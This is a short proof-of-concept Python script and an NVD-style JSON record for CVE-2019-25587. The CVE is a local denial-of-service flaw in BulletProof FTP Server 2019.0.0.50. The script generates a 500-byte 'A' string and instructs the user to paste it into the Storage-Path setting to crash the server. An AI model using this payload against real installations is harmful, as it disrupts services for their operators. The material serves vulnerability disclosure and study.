CVE-2019-25587

# Proof of Concept for CVE-2019-25587 # Description: This script generates the payload that triggers the DoS vulnerability. # Usage: Copy the output and paste it into the 'Storage-Path' field in the server configuration. def generate_payload(): # The vulnerability is triggered by a string of 500 bytes or more. # Using 'A' as the padding character. return b"A" * 500 if __name__ == "__main__": payload = generate_payload() print(f"PoC Payload (Length: {len(payload)}):") print(payload.decode('latin-1'))

{"cve": {"id": "CVE-2019-25587", "sourceIdentifier": "[email protected]", "published": "2026-03-22T01:16:56.897", "lastModified": "2026-03-25T19:10:46.740", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "BulletProof FTP Server 2019.0.0.50 contains a denial of service vulnerability in the Storage-Path configuration parameter that allows local attackers to crash the application by supplying an excessively long string value. Attackers can enable the Override Storage-Path setting and paste a buffer of 500 bytes or more to trigger an application crash when saving the configuration."}, {"lang": "es", "value": "BulletProof FTP Servidor 2019.0.0.50 contiene una vulnerabilidad de denegación de servicio en el parámetro de configuración Storage-Path que permite a atacantes locales bloquear la aplicación al proporcionar un valor de cadena excesivamente largo. Los atacantes pueden habilitar la configuración Override Storage-Path y pegar un búfer de 500 bytes o más para provocar un bloqueo de la aplicación al guardar la configuración."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1282"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bpftpserver:bulletproof_ftp_server:2019.0.0.50:*:*:*:*:*:*:*", "matchCriteriaId": "71B74705-53C3-49BD-AD68-9654D2974D92"}]}]}], "references": [{"url": "http://bpftpserver.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "http://bpftpserver.com/products/bpftpserver/windows/download", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/46876", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/bulletproof-ftp-server-storage-path-denial-of-service", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}